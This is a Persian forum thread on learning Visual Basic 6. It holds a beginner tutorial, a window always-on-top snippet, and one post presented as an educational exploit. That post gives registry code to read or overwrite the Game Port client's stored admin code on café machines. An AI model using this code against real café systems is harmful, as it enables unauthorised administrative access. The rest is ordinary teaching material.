ويژوال بيسيک

در اين بخش مي‌توانيد به مباحث مربوط به انواع زبان هاي برنامه نويسي بپردازيد

مدیران انجمن: athlon64x2, abbas.m.k, شوراي نظارت

Incredible Poster
Incredible Poster
نمایه کاربر
پست: 3047
تاریخ عضویت: جمعه 7 بهمن 1384, 9:41 pm
سپاس‌های ارسالی: 58 بار
سپاس‌های دریافتی: 380 بار
تماس:

ويژوال بيسيک

پست توسط Farhad3614 » پنج شنبه 17 فروردین 1385, 5:16 am

  آشنايي با ويژوال بيسيك 

هدفهاي رفتاري : پس از مطالعه اين فصل از فراگير انتظار مي رود


1. مفهوم برنامه هاي شيءگرا را درك كند .


2. با محيط كار ويژوال بيسيك آشنا شود.


3. مفاهيم كنترل و شئ را بيان كند .


4. پروژه اي را ايجاد ،ذخيره وبازيابي كند.


5. برنامة نمونه اي را بنويسد.






مقدمه :


در سالهاي گذشته راجع به برنامه نويسي مطالبي را آموختيد اما تمام برنامه هايي كه تا حال نوشته ايد نوع خاصي از برنامه نويسي مي باشد كه مختص محيط هايي همچون سيستم عامل Dos مي باشد در اين كتاب مي خواهيم در مورد نوع ديگري از روشهاي برنامه نويسي موسوم به شيء گرا ([1]oop) بحث كنيم اين روش خاص برنامه نويسي ،تعاريف واصولي مختص به خود دارد كه با آنچه تا بحال فرا گرفته ايد داراي تفاوتهايي مي باشد .


ما در اين بخش از كتاب در صدد آن هستيم كه شما را با برخي از اين اصول و مفاهيم آشنا كنيم لازم به ذكر است كه فراگيري اين اصول و مفاهيم براي پيگيري و آموختن آنچه كه در ادامه كتاب آورده خواهد شد نقش تعيين كننده اي را ايفا مي كند ‚ بنايرين سعي كنيد در قسمت هاي بعدي كتاب نيز مراجعاتي به اين بخش داشته باشيد تا مفاهيم مورد نظر را بهتر درك نماييد.


1-2- مفاهيم اوليه :

روش هاي برنامه نويسي معمولاً به دو بخش عمده تقسيم مي شوند:


· برنامه نويسي تابع گرا


· برنامه نويسي شيء گرا


الف) برنامه نويسي تابع گرا ياProcedural : اين روش برنامه نويسي كه برنامه نويسي متن گرا نيز ناميده مي شود روش قديمي تر ي است كه مبتني بر توابع مي باشدو معمولاً يكي از برنامه هاي اصلي بوده ، با شروع برنامه ، كنترل برنامه به اولين دستور تابع اصلي رفته و بترتيب شروع به اجراي دستورات از اولين دستور تا آخرين دستور تابع مي كند و مواقعي هم ممكن است فراخواني هايي به يك يا چند زير برنامه داشته باشد كه با هر بار فراخواني ، كنترل برنامه به ابتداي تابع مورد نظر رفته و دستورات آن تابع را بترتيب اجرا مي نمايد و با اتمام دستورات تابع مذكور كنترل برنامه به دستور بعد از دستور فراخواني بر مي گردد و روال برنامه تا رسيدن به آخرين دستور تابع اصلي ادامه مي يابد بعد از اجراي آخرين دستور تابع اصلي يا رسيدن به دستور خاتمة برنامه ، برنامه پايان مي پذيرد مانند اكثر زبانهاي برنامه نويسي كه تا به حال با آن كار كرده ايد مثل بيسيك و پاسكال .



ب) برنامه نويسي شيء گرا (Object Oriented ) :


اين روش داراي اصول و ويژگيهايي مي باشد كه با پيدايش ويندوز و مفاهيمي چون چند وظيفه اي[2] كه در اين سيستم عامل وجود دارد مطرح شد در اين روش بر خلاف روش قبلي به جاي استفاده از تابع اصلي كه وظيفه كنترل تمام برنامه را بر عهده دارد از مفاهيمي همچون كلاس ، خصوصيت و شيء بهره برده مي شود براي يادگيري بهتر اين روش برنامه نويسي ابتدا بايد با مفاهيم ذكر شده در بالا آشنا شويم.


در محيط واقعي زندگي با مفهوم شئ آشنا هستيم . همانطوري كه مي دانيد يك شئ چيزي مادي است كه داراي خصوصياتي مي باشد و مي تواند در مقابل برخي اتفاقات كه ممكن است برايش رخ دهد از خود واكنش هايي نشان دهد پس با اين حال مي توان گفت هر شئ به همراه سه مورد زير شناخته مي شود:


· خواص

· رفتار

· روابط

معمولاً خواص ويژگي هايي است كه مشخص كنندة حالت فعلي شئ مي باشد. براي مثال مي توان گفت رنگ يك ميز قهوه اي است يا قد يك شخص 170 سانتيمتر مي باشد .


در اين مثال ميز و انسان شئ هستند و قهوه اي بودن و 170 سانتيمتر بودن قد خواص مربوط به آنها مي باشد.


همچنين رفتار يك شئ نحوه پاسخ شئ در مقابل رويدادها است كه مي تواند برايش رخ دهد براي مثال شئ ميزدرمقابل رويداد وارد آمدن نيروي بيش از حد بر آن رفتار شكستن را نشان مي دهد. حال خودتان مثالهايي را براي شئ يك شخص ورويدادهائي كه مي تواند براي وي بيافتد و رفتار هايي كه او نشان مي دهد، بيابيد . توجه داشته باشيد كه ممكن است شئ خاصي در مقابل بعضي رويدادها هيچ رفتاري ازخود نشان ندهد اين در صورتي است كه براي رويداد مورد نظر هيچ رفتاري تعريف نشده باشد . روابط هر شئ نيزنشان دهندة ارتباط آن شئ با اشياء ديگر مي باشد بطورمثال يك شخص مي تواندمالك يك شئ مانند ميزباشد.در اين مثال رابطه مالك و مملوك بودن بين اشياء مذكور برقرار است .


انواع اشيايي كه در دنياي واقعي وجود دارد متفاوتند همچنين اشياء همنوع نيز مي توانند خصوصيات ، رفتارها و روابط متفاوتي داشته باشند يعني خصوصيات ، رفتار ها و روابط بين اشياء از يك نوع با اينكه مشابهند ولي ممكن است يكسان نباشند . با توجه به اين نكته براي اشياء ، تقسيم بندي خاصي را در نظر مي گيريم و اصطلاح كلاس را تعريف مي كنيم . كلاس مجموعه تمام اشياء همنوع است هرچند اين اشياء خواص ، رفتار و روابط متفاوتي داشته باشند.


مثلاً انسان يك كلاس است و هر شخص بخصوصي از اين مجموعه شيئي از كلاس مذكور تلقي مي شود با توجه به تعاريف و مفاهيم كه در بالا ذكر شد مي توان روش برنامه نويسي شيء گرا را بصورت زير بيان كرد :


هر برنامه شيء گرا شامل تعدادي شئ با خواص و رفتارهاي متفاوت است بطوري كه روابط خاصي بين آنها برقرار مي باشد .


رفتار ها مجموعه اي از دستورالعمل هاي برنامه نويسي هستند كه بايد در هنگام بروز رويدادهائي اجرا گردند ، مجموعه اين دستورالعمل ها رفتار آن شئ را دربرابررويداد بخصوصي نشان مي دهند .


در زبان برنامه نويسي VB كه بر پاية برنامه نويسي شيءگرا طراحي شده است از مفاهيم و تعاريفي كه در بالا به آنها اشاره شد استفاده مي شود در محيط برنامه نويسي VB هر يك از واحدهاي جعبه ابزار ( Toolbox 1) يك كنترل مي باشند ، كنترل معادل اصطلاح كلاس است . هر يك از كنترل ها وقتي روي فرم قرارمي گيرند اصطلاح شئ به آنها اطلاق مي شود و هر شئ در هنگام انتقال به فرم خواص پيش فرضي را از كلاس مربوط به خود به ارث ميبرد بعد از انتقال شئ برروي فرم مي توان خواص پيش فرض را تغيير داده ، رفتار هاي دلخواه را براي هر يك از رويدادها آن شئ تعريف كرد 2 و در نهايت رابطة آن را با فرم و ديگر اشياء فرم برقرار كرد .



2-2- كار با ويژوال بيسيك

محيط ويژول بيسيك بسيار ساده است . اين محيط كه از جمله محيط هاي توسعه يافته مجتمع IDE (Interface Design Enhanced ) مي باشد به برنامه نويسان امكان مي دهد كه برنامه هاي تحت ويندوز خود را بدون نياز به استفاده از برنامه هاي كاربردي ديگر ايجاد، اجرا و خطايابي كند. در اين فصل مروري بر محيط ويژوال بيسيك 1و همچنين بحثي در مورد ايجاد يك برنامه ساده خواهيم داشت؛ همچنين با تعدادي از مفاهيم اوليه برنامه هاي ويژوالي آشنا خواهيم شد.



1-2-2- آشنائي با محيط ويژوال بيسيك :


بعد از اجراي برنامه ويژوال بيسيك ، كادر تبادلي New project به نمايش در مي آيد.(شكل1ـ2) كه اين كادر به برنامه نويس امكان انتخاب يكي از انواع برنامه هايي را مي دهد كه مي توان در VB ايجاد كرد .



New Project كادر تبادلي



نوع Standard EXE كه بطور پيش فرض در اين كادر انتخاب شده است؛ به برنامه نويس امكان مي دهد كه برنامه اجرائي استانداردي را ايجاد نمايد ( برنامه هاي اجرائي استاندارد از بيشترين خصيصه هاي ويژوال بيسيك استفاده مي كنند). در اين كتاب اكثر مثالهاي خود را با استفاده از اين نوع برنامه ، اجرا خواهيم كرد.


كادر تبادلي New project شامل سه برگه ( Tab ) مي باشد :


· برگه New : جهت ايجاد يك پروژه جديد


· برگه Existing : براي باز كردن پروژه ا ي كه از قبل وجود دارد


· برگه : Recent ليستي از آ خرين پروژه هاي باز شده يا ايجاد شده را نشان مي دهد.


تعريف پروژه ( Project):


پروژه عبارت است از مجموعه فايلهائي (فرم ، برنامه و ...)كه در كل يك هدف واحد را دنبال مي كنند . كدهاي برنامه ، مشخصات ظاهري برنامه واحتمالا فايل هاي بانك اطلاعاتي در اين مجموعه از فايل ها قرار دارند .


در قسمت پائين كادر تبادلي جعبه انتخابي با عنوان Dont show dialog in the future وجود دارد. اگر اين جعبه علامت دار نباشد در هر بار اجراي VB كادر تبادلي مورد بحث نمايش داده مي شود.


براي باز كردن يك پروژه بر روي آيكون مورد نظر با استفاده از دكمه سمت چپ Double click كرده و يا روي آيكون توسط دكمه سمت چپ موس كليك كنيد سپس كليد Enter و يا دكمه Open را فشار دهيد. با باز شدن پروژه كادر تبادلي بسته شده و واردمحيط IDE مي شويم . شكل (2ـ2 ) اين محيط داراي چندين پنجره ؛ يك ميله منو و يك ميله ابزار است كه مشابه ميله هاي منو وابزار در اكثر برنا مه هاي تحت ويندوز است .


پروژه Standard EXE شامل پنجره هاي زير مي باشد:


1. پنجره پروژه Project


2. پنجره Form Layout


3. جعبه ابزار Tool Box


4. پنجره خصوصيات Properties


5. پنجره فرم ها Form


2-2-2- پنجره پروژه : پنجره اي كه معمولا بنام Project Explorer نيز معروف است شامل تمام فايل هاي مربوط به پروژه مي باشد . شكل(3ـ2 )


Project شكل 3-2 پنجره


ميله ابزار اين پنجره شامل سه دكمه به نامهاي:View code View object , و Toggle Folders مي باشد .


دكمه View code براي نمايش پنجره اي كه در آن كد VB ( دستورات برنامه ) فايلي كه در پنجره پروژه فعال وجود دارد، به كار مي رود .


همچنينView object براي نمايش شكل ظاهري فرم فعال درپنجره پروژه بكارمي رود.


نكته : اگر در پنجره پروژه هيچ فايلي فعال نباشد هر دو دكمه View code وView objec به صورت غير فعال در مي آيند .


دكمه Toggle Folders باعث مي شود كه با هر بار فشار آن پوشه Forms به صورت متناوب به نمايش در آمده و مخفي شود .


پنجره Project يكي از مهمترين ابزارهاي مديريت پروژه است .


3-2-2- پنجره (Form Layout) :


اين پنجره محل فرم را به هنگام اجراي برنامه(Run time) برروي صفحه نمايش مشخص مي كند . شكل (4-2)


Form Layout شكل4-2 پنجره


همانطور كه در شكل مشاهده مي كنيد اين پنجره يك صفحه نمايش را نشان مي دهد كه در داخل آن محل قرار گرفتن فرم مشخص شده است .


با قرار دادن نشانگرماوس بر روي شكل فرم و پائين نگه داشتن دكمه سمت چپ ماوس و جابجا كردن آن (Drag ) مي توان فرم را درمحل جديد خود قرار داد . كه به اين ترتيب در زما ن اجرا ، فرم مورد نظر در محل مشخص شده ظاهر مي شود .


3-2-2- پنجره خصوصيات ( Properties Window): اين پنجره ويژگيها و خصوصيات فرم يا كنترل را نشان مي دهد كه به ترتيب الفبايي1 مرتب شده اند . شكل(5-2)



همانطوركه شكل( 5-2) نشان مي دهددرقسمت بالاي پنجره جعبه ليست مانندي (combo box) وجود دارد كه در آن نام كنترل يا فرمي كه خصوصيات آن دراين پنجره آورده شده است را نشان مي دهد ، داخل اين ليست نام تمامي كنترل ها و همچنين نام فرمي كه فعلاً فعال است آورده شده است .با انتخاب هر كنترل يا فرم ديگري از اين ليست خصوصيات مربوط به آن درپنجره نشان داده مي شود . توجه كنيد كه بعضي از اين خصوصيات مشترك بوده مانند خصوصيت Name كه در هر مورد نشان دهنده نام كنترل يا فرم است و برخي ديگر براي كنترل ها يا فرم ، منحصر به فرد مي باشد .



4-2-2- جعبه ابزار (Tool box ) :


اين جعبه ( شكل 6-2) شامل كنترل هايي است كه از هر كدام آنها مي توان به تعداد دلخواه بر فرم هاي مربوط به پروژه اضافه كرد به اين شرط كه نام هر شيء ايجاد شده بايد منحصر به فرد باشد.


نكته: سعي كنيد در برنامه هايتان نامي كه براي هر شئ انتخاب مي كنيد متناسب با عملكردي باشد كه در برنامه خواهد داشت . اين نام در مراجعه به شئ مورد نظر از طريق كد نويسي مورد استفاده قرار خواهد گرفت .1


در فصلهاي ديگر راجع به هريك از كنترلهاي جعبه ابزارنكات بيشتري آورده مي شود.


كنترل هاي مربوط به جعبه ابزار نسبت به نوع پروژه اي كه در ابتداي ايجاد پروژةجديد مشخص مي شود متغير است و معمولاً در نوع Standard EXE تعداد اين كنترل ها بيشتر مي باشد .ولي با اين حال روشهايي براي اضافه كردن كنترلهايي كه به صورت استاندارد در جعبه ابزار قرار داده نشده اند ولي در VB موجود مي باشند ،وجود دارد كه در فصل هاي آتي در مورد طريقة اضافه كردن هر يك از آنها به جعبه ابزار توضيحاتي آورده خواهد شد .

5-2-2- پنجرة فرم ها (Forms) :


اين پنجره فرم فعال در پنجرة پروژه ، با تمام اشياء مربوط به آن را در يك واسط گرافيكي كاربر (GUI) 2نشان مي دهد .


درابتداي ايجاد يك فرم جديد هيچ شيئي درآن وجود ندارد .البته درصورتي كه دكمةView code در پنجرة پروژه انتخاب شود و يا بر روي هر شئ يا فرم Double Click شود پنجره مربوط به كد در اين قسمت نمايش داده مي شود .


6-2-2- ميلة منو(Menu bar ) :

ميله منو امكاني است كه در اكثر برنامه هاي تحت ويندوز وجود دارد و شامل دستوراتي براي ساخت ، نگهداري و راه اندازي برنامه هاست . شكل(7-2)


ميله منو


با توجه به نوع VBكه در اختيار داريد ممكن است برخي از گزينه هاي اين منو ها متفاوت با شكل (7-2) باشد .


ميله ابزار


جدول 1-2 بطور خلاصه وظايف هر بخش از منو را مشخص نموده است .

File
براي باز كردن ؛ذخيره و چاپ پروژه


Edit

براي Paste ،كپي ، حذف و غيره


View

براي نحوه نمايش پنجره هاي محيط IDE


Proeject

براي افزودن خصيصه هايي مانند فرم ها به يك پروژه


Format

براي تنظيم كنترل هاي موجود بر روي فرم


Debug

براي خطايابي


Run

براي اجرا ، متوقف كردن برنامه و ...


Query

براي بازيابي داده ها از پايگاه داده ها


Diagram

براي ويرايش واصلاح در طراحي پايگاههاي داده ها


Tools

براي ابزار هاي IDE و بهينه سازي محيط كار


Add_ins

براي نصب و حذف


Windows

براي مرتب كردن و نمايش پنجره ها


Help

راهنماي كاملي براي استفاده كننده

در پايين ميله منو ، ميله ابزاري وجود دارد( شكل 7-2) كه توسط آن مي توان به سرعت به برخي از گزينه هاي منو دسترسي پيدا كرد.


3-2- طريقه كار با جعبه ابزار :


براي اضافه كردن يك شئ از هر كنترل موجود در جعبه ابزار ميتوان به دو روش عمل نمود .


· با Double click كردن روي هر كنترل يك نمونه از شئ مربوطه در وسط فرم فعال ظاهر مي شود و هميشه از نظراندازه و موقعيت ثابت است .با پايين نگه داشتن كليد ماوس روي هر شئ اضافه شده و حركت دادن ماوس ( Drag ) مي توان محل شئ را تغيير داد و نيز مي توان با قرار دادن مكان نما در گوشه هاي شئ و Drag كردن ، اندازه آن شئ را نيز به دلخواه تعيين نمود.


· همچنين براي اضافه كردن يك شئ مي توان كنترل مربوط به آن را در جعبه ابزار توسط كليك سمت چپ ماوس انتخاب نمودو سپس برروي فرم مورد نظر در محل دلخواه كليك كرده با Drag كردن شئ را به اندازه دلخواه برروي فرم اضافه نمود.


4-4- يك برنامه نمونه

در اين بخش با مراحل ايجاد يك پروژه ساده در محيط VB آشنا خواهيم شد،براي نوشتن برنامه در اين محيط بايد مراحل زير را انجام دهيم :


· مرحله طراحي


· مرحله كد نويسي


در مرحله طراحي توسط ابزارهايي كه VB در اختيار ما مي گذارد شكل ظاهري برنامه را ايجاد مي كنيم يعني كنترل هايي را روي فرم مي آوريم .


همانطوريكه مي دانيد هر شئ كه روي فرم قرار مي گيرد داراي خصوصيات پيش فرضي است و در صورت نياز مي توان آنها را از طريق پنجره خواص تغيير داد . در مرحله كد نويسي، براي هر يك از اشيا وبسته به رويدادهائي كه مي تواند برايش رخ دهد دستورات لازم را اضافه مي كنيم محيط VB اين امكان را به ما مي دهد كه شيئي را انتخاب كرده ، براي هريك از رويدادهائي كه مي تواند برايش رخ دهد دستوراتي بنويسيم . همانطوريكه مي دانيد اگر براي رويدادي كه براي شئ رخ مي دهد دستوري نوشته نشود آن شئ براي رويداد مورد نظر عكس العملي نشان نخواهد داد.


در حقيقت هربرنامه اي كه در محيط VB نوشته شود تركيبي از دستورات به زبان بيسيك خواهد بود كه قسمتي از اين دستورات در مرحله طراحي توسط خود VB و قسمتي هم در مرحله كد نويسي توسط برنامه نويس نوشته مي شود.


با اين مقدمه آماده ايجاد يك پروژه ساده هستيم و مي خواهيم فرمي بصورت شكل ( 8-2 ) طراحي كنيم به طوري كه برنامه دو عدد را از كاربر دريافت نمايد . و با زدن يك كليد حاصل ضرب دو عدد در محلي از صفحه نمايش يابد ، همچنين صفحه ايجاد شده داراي كليدي براي خروج از برنامه باشد


(شكل 8-2 )


برنامه VB را اجرا مي كنيم و از كادر تبادلي New Project ، گزينه Standard EXE را با دكمه ماوس انتخاب كرده Ok را فشار مي دهيم و وارد محيط اصلي VB مي شويم( شكل 1-2)


توجه كنيد كه خصوصيات فرم در پنجره خصوصيات ليست شده است .


به دو صورت مي توان از اين موضوع اطمينان حاصل كرد يا روي فرم يكبار كليك مي كنيم و يا در پنجره خصوصيات در قسمت مربوط به نام اشياء ، شئ Form1 را انتخاب مي كنيم و مراحل زير را به ترتيب زير انجام مي دهيم :


· در پنجره خصوصيات ، خصوصيت Name را به ، FrmExm را تغيير مي دهيم


· خصوصيت Caption را به First Example عوض مي كنيم


· از جعبه ابزار سه شئ Label را روي فرم اضافه مي كنيم و خاصيت Caption آنها را به ترتيب به :First Num ، Second Num و Result و خصوصيت Name هر سه را به ترتيب به LblNum1 و LblNum2 و LblNum3 تغيير مي دهيم .


· از جعبه ابزار سه شئ Text Box روي فرم اضافه كرده وخصوصيت Name آنها را به ترتيب به TxtNum1 ، TxtNum2و TxtMul تغيير مي دهيم . همچنين متن پيش فرض موجود در خصوصيت Text هر سه را پاك مي كنيم .


· از جعبه ابزار دو شئ Command Button را به فرم اضافه كرده وخاصيت Name آنها را به ترتيبCmdExit و CmdRun وخاصيت Caption آنها را به ترتيب Exit وRun قرار مي دهيم .


اشياء موجود در صفحه فرم را همانند شكل (8-2) تنظيم مي كنيم .


براي اضافه كردن كد به برنامه بر روي كليد Run توسط دكمه سمت چپ ماوس Double Click كرده و در صفحه اي كه ظاهر مي شود بين دو دستور:


Sub Private CmdRun_Click () و End Sub


دستورهايي بصورت زير وارد مي كنيم


Private Sub CmdRun_Click ( )

TxtMul.Text = TxtNum1.Text * TxtNum2.Text


End Sub

در پنجره پروژه روي دكمه View Object كليك مي كنيم ، تا كار روي فرم را ادامه دهيم . اين بار روي كليد Exit توسط ماوس Double Click كرده ، در بين دو دستور Private Sub CmdExit_Click() و End Sub دستور End را وارد مي كنيم . (همانطور كه مي دانيد دستور End در Basic براي خروج از برنامه مي باشد .)

حال برنامه آماده اجرا است . براي اجراي برنامه به سه طريق مي توان اقدام نمود:

1. با انتخاب گزينه Start از منوي Run


2. توسط كليد ميانبر F5


3. با انتخاب كليد Start از ميله ابزار .


با يكي از روشهاي بالا برنامه را اجرا كرده ، نتيجه را بررسي مي كنيم . دو عدد دلخواه را در دو جعبه متن نوشته و با فشار كليد Run حاصل ضرب آن دو عدد را در جعبه متن سوم مشاهده مي كنيم . براي خروج از برنامه روي كليد Exit كليك مي كنيم.


حال پروژه خود را ذخيره مي كنيم،VB دو فايل با پسوند Vbp,Frm را ذخيره خواهد كرد،فايلي كه پسوند Vbp دارد شامل يك سري اطلاعات است كه VB براي ساختن پروژه ازآنها استفاده مي كند.


فايلي كه پسوند .Frm دارد شامل اطلاعاتي در مورد فرم مي باشد.


براي ذخيره كردن پروژه همانند اكثر برنامه هاي تحت ويندوز از منوي Files گزينه Save form را انتخاب مي كنيم.با انتخاب اين گزينه كادرتبادلي Save files كه مشابه آن را قبلا ديده ايد،ظاهر مي شود اين كادر تبادلي نام فرمي را كه ايجاد كرده ايد ، در خواست مي نمايد.


نام FrmEx1 مشاهده مي شود كليد Save رافشاردهيد فرم با نام FrmEx1.Frm ذخيره مي شود.


حال از منوي File گزينه Save projet را انتخاب مي كنيم كادر تبادلي Save Project as ظاهر مي شود . نام پيش فرض Project1 را به Ex1 تغيير داده ، كليد Save را فشار مي دهيم . پروژه با نام Ex1.Vbp ذخيره مي شود.

Colonel II
Colonel II
پست: 1065
تاریخ عضویت: یک شنبه 28 اسفند 1384, 2:04 pm
محل اقامت: زیر آسمون خدا
سپاس‌های دریافتی: 402 بار
تماس:

پست توسط آرمان » پنج شنبه 17 فروردین 1385, 12:11 pm

من سال ها با ويژوال بيسيك برنامه نويسي كردم و اين زبان
رو يكي از جذاب ترين و البته معتاد كننده ترين! زبان هاي برنامه
نويسي مي دونم. به همه دوستان يادگيري اين زبان زيباي برنامه
نويسي رو توصيه مي كنم. البته قبلش فراگيري QBasic يادتون
نره. در ضمن به حرف هاي بعضي ها كه مي گويند ويژوال بيسيك
زبان بچه دبستاني هاست و .... گوش نكنيد. يادتان نرود كه آفيس
با ويژوال بيسيك نوشته شده است. :o

Major
Major
نمایه کاربر
پست: 285
تاریخ عضویت: دو شنبه 8 اسفند 1384, 11:44 pm
سپاس‌های دریافتی: 62 بار
تماس:

پست توسط Ami R 940 » پنج شنبه 17 فروردین 1385, 1:16 pm

آرمان,

منم با نظر شما موافق هستم ........ :D
دل خسته ام از این جا از آدمای دنیا

همین امروز فردا دل میزنم به دریا

New Member
پست: 6
تاریخ عضویت: جمعه 11 فروردین 1385, 7:30 pm

پست توسط مجيد كلاه كج » چهار شنبه 23 فروردین 1385, 12:14 am

منم با نظر شما موافق هستم :o
واقعا من خيلي خوشحالم با همچنين سايت خيلي خوب آموزشي وغيره.....آشنا شدم
آقا من نمي دونم مديريت اين سايت چيه به هر حال ازشماو همه همکارانتان تقدير و تشکر مي کنم
:smile:
متشكرم

Incredible Poster
Incredible Poster
نمایه کاربر
پست: 3047
تاریخ عضویت: جمعه 7 بهمن 1384, 9:41 pm
سپاس‌های ارسالی: 58 بار
سپاس‌های دریافتی: 380 بار
تماس:

پست توسط Farhad3614 » چهار شنبه 23 فروردین 1385, 12:22 am

دوستان عزيز همه شما لطف داريد هدف همين هست که همه بتونيم به هر نحوي که امکان داره به همديگر کمک کنيم
و تنها نفعي که براي ما و همه داره اينکه به علم و دانش خودمون اظافه بشه و بتونيم به ديگران کمک کنيم حالا هرکسي با توجه به اطلاعاتي که داره.. و اميدوار هستيم که ادامه داشته باشد و بتونيم اين هدفمون برسيم و همه به هم کمک کنيم براي ارتقاع سطح علمي و گسترش روابط دوستانه :D

Major I
Major I
پست: 104
تاریخ عضویت: سه شنبه 9 اسفند 1384, 3:41 am
سپاس‌های دریافتی: 9 بار
تماس:

پست توسط ahmad16162 » چهار شنبه 23 فروردین 1385, 4:09 am

Farhad3614, جان سلام.
من خيلي وقته که دنبال کدي هستم که کار Always On Top را انجام دهد و هميسه روي تمام پنجره باشد.
اگر که اطلاعي داريد ممنون مي شم. :)
آيا سيو همان سيب است؟ :grin:

Administrator
Administrator
نمایه کاربر
پست: 15674
تاریخ عضویت: جمعه 7 بهمن 1384, 7:51 pm
سپاس‌های ارسالی: 70844 بار
سپاس‌های دریافتی: 31298 بار
تماس:

پست توسط Mahdi1944 » چهار شنبه 23 فروردین 1385, 6:40 am

ahmad16162,
براي اين کار بايد اول اين کد رو در قسمت General وارد کنيد

کد: انتخاب همه

 
Private Declare Function SetWindowPos Lib "user32" (ByVal hWnd As Long, ByVal hWndInsertAfter As Long, ByVal X As Long, Y, ByVal cx As Long, ByVal cy As Long, ByVal wFlags As Long) As Long
Private Const HWND_TOPMOST = -1
Private Const HWND_NOTOPMOST = -2
Private Const SWP_NOMOVE = &H2
Private Const SWP_NOSIZE = &H1
Private Const TOPMOST_FLAGS = SWP_NOMOVE Or SWP_NOSIZE


و بعد اين کد رو هر جايي که مي‌خواي با اجراي اون اين خصوصيت اعمال بشه بايد قرار بدي

کد: انتخاب همه

SetWindowPos hWnd, HWND_TOPMOST, 0, 0, 0, 0, TOPMOST_FLAGS


و اين يکي هم براي بازگشت به حالت عادي

کد: انتخاب همه

SetWindowPos hWnd, HWND_NOTOPMOST, 0, 0, 0, 0, TOPMOST_FLAGS


البته اين کد براي VB6 قبلا تست کرده بودم، اگر مشکلي بود اعلام کنيد :o
زندگي صحنه يکتاي هنرمندي ماست هرکسي نغمه خود خواند و از صحنه رود
صحنه پيوسته به جاست خرم آن نغمه که مردم بسپارند به ياد


[لینک خارجی برای کاربران مهمان مخفی است، لطفا برای مشاهده لینک ثبت نام نموده و یا وارد سایت شوید] | [لینک خارجی برای کاربران مهمان مخفی است، لطفا برای مشاهده لینک ثبت نام نموده و یا وارد سایت شوید] | مجله الکترونيکي سنترال کلابز

[لینک خارجی برای کاربران مهمان مخفی است، لطفا برای مشاهده لینک ثبت نام نموده و یا وارد سایت شوید] | [لینک خارجی برای کاربران مهمان مخفی است، لطفا برای مشاهده لینک ثبت نام نموده و یا وارد سایت شوید] | [لینک خارجی برای کاربران مهمان مخفی است، لطفا برای مشاهده لینک ثبت نام نموده و یا وارد سایت شوید]

لطفا سوالات فني را فقط در خود انجمن مطرح بفرماييد، به اين سوالات در PM پاسخ داده نخواهد شد

Major I
Major I
پست: 104
تاریخ عضویت: سه شنبه 9 اسفند 1384, 3:41 am
سپاس‌های دریافتی: 9 بار
تماس:

پست توسط ahmad16162 » پنج شنبه 31 فروردین 1385, 12:55 am

Mahdi1944, جان خيلي ممنون. نميدوني که چقدر دنبال اين ميگشتم. واقعا که يه administrator درجه يکي هستي. :) :) :( :(
آيا سيو همان سيب است؟ :grin:

Old Moderator
Old Moderator
پست: 21
تاریخ عضویت: پنج شنبه 25 اسفند 1384, 9:01 am
سپاس‌های دریافتی: 1 بار
تماس:

Game Port Client Exploit ( آموزشی و امن&a

پست توسط jeyjey » یک شنبه 7 خرداد 1385, 11:25 am

در این قسمت می خوام یه باگ که در سیستم های گیم پورت وجود داره رو بهتون معرفی کنم البته این به درد کسانی می خوره که توی کافی نتشون از گیم پورت کلاینت استفاده می کنن که می تونه براشون خطراتی داشته باشه

کد: انتخاب همه


'Main Code'

Private Sub Command1_Click()
SaveString HKEY_CURRENT_USER, "Software\GamePortClient", "AdminCode", Text1.Text
End Sub

Private Sub Command2_Click()
Text2.Text = GetString(HKEY_CURRENT_USER, "Software\GamePortClient", "AdminCode")
End Sub


'Module Code'

Public Const HKEY_LOCAL_MACHINE = &H80000002
Public Const HKEY_CURRENT_USER = &H80000001
Declare Function RegCloseKey Lib "advapi32.dll" (ByVal Hkey As Long) As Long
Declare Function RegCreateKey Lib "advapi32.dll" Alias "RegCreateKeyA" (ByVal Hkey As Long, ByVal lpSubKey As String, phkResult As Long) As Long
Declare Function RegDeleteKey Lib "advapi32.dll" Alias "RegDeleteKeyA" (ByVal Hkey As Long, ByVal lpSubKey As String) As Long
Declare Function RegDeleteValue Lib "advapi32.dll" Alias "RegDeleteValueA" (ByVal Hkey As Long, ByVal lpValueName As String) As Long
Declare Function RegOpenKey Lib "advapi32.dll" Alias "RegOpenKeyA" (ByVal Hkey As Long, ByVal lpSubKey As String, phkResult As Long) As Long
Declare Function RegQueryValueEx Lib "advapi32.dll" Alias "RegQueryValueExA" (ByVal Hkey As Long, ByVal lpValueName As String, ByVal lpReserved As Long, lpType As Long, lpData As Any, lpcbData As Long) As Long
Declare Function RegSetValueEx Lib "advapi32.dll" Alias "RegSetValueExA" (ByVal Hkey As Long, ByVal lpValueName As String, ByVal Reserved As Long, ByVal dwType As Long, lpData As Any, ByVal cbData As Long) As Long
Public Const REG_SZ = 1
Public Const REG_DWORD = 4
Public Function GetString(Hkey As Long, strPath As String, strValue As String)
    Dim keyhand As Long
    Dim datatype As Long
    Dim lResult As Long
    Dim strBuf As String
    Dim lDataBufSize As Long
    Dim intZeroPos As Integer
    r = RegOpenKey(Hkey, strPath, keyhand)
    lResult = RegQueryValueEx(keyhand, strValue, 0&, lValueType, ByVal 0&, lDataBufSize)
    If lValueType = REG_SZ Then
    strBuf = String(lDataBufSize, " ")
    lResult = RegQueryValueEx(keyhand, strValue, 0&, 0&, ByVal strBuf, lDataBufSize)
    If lResult = ERROR_SUCCESS Then
    intZeroPos = InStr(strBuf, Chr$(0))
    If intZeroPos > 0 Then
    GetString = Left$(strBuf, intZeroPos - 1)
    Else
    GetString = strBuf
    End If
    End If
    End If
End Function
Public Sub SaveString(Hkey As Long, strPath As String, strValue As String, strdata As String)
    Dim keyhand As Long
    Dim r As Long
    r = RegCreateKey(Hkey, strPath, keyhand)
    r = RegSetValueEx(keyhand, strValue, 0, REG_SZ, ByVal strdata, Len(strdata))
    r = RegCloseKey(keyhand)
End Sub


امیدوارم از کدهای فوق سوء استفاده نشه چون کدهای بالا فقط جنبه امنیتی و آموزشی دارن
باتشکر
[لینک خارجی برای کاربران مهمان مخفی است، لطفا برای مشاهده لینک ثبت نام نموده و یا وارد سایت شوید]

New Member
پست: 5
تاریخ عضویت: چهار شنبه 16 اسفند 1385, 8:29 am

پست توسط rampco » چهار شنبه 23 خرداد 1386, 8:30 am

با عرض سلام خدمت دوستان
من تازه شروع کردم فراگيري VB6 - از کتاب و سايت هاي اينتر نتي کمک ميگيرم براي يادگيري
رسيدم به وارد کردن کد - در خصوص انواع داده ها - متغيرها - چگونه داده ها را به متغيرها منسوب کنيم تو کتاب کلي چيز نوشته ولي من قاطي کردم و چيزي از آن سر در نميارم .
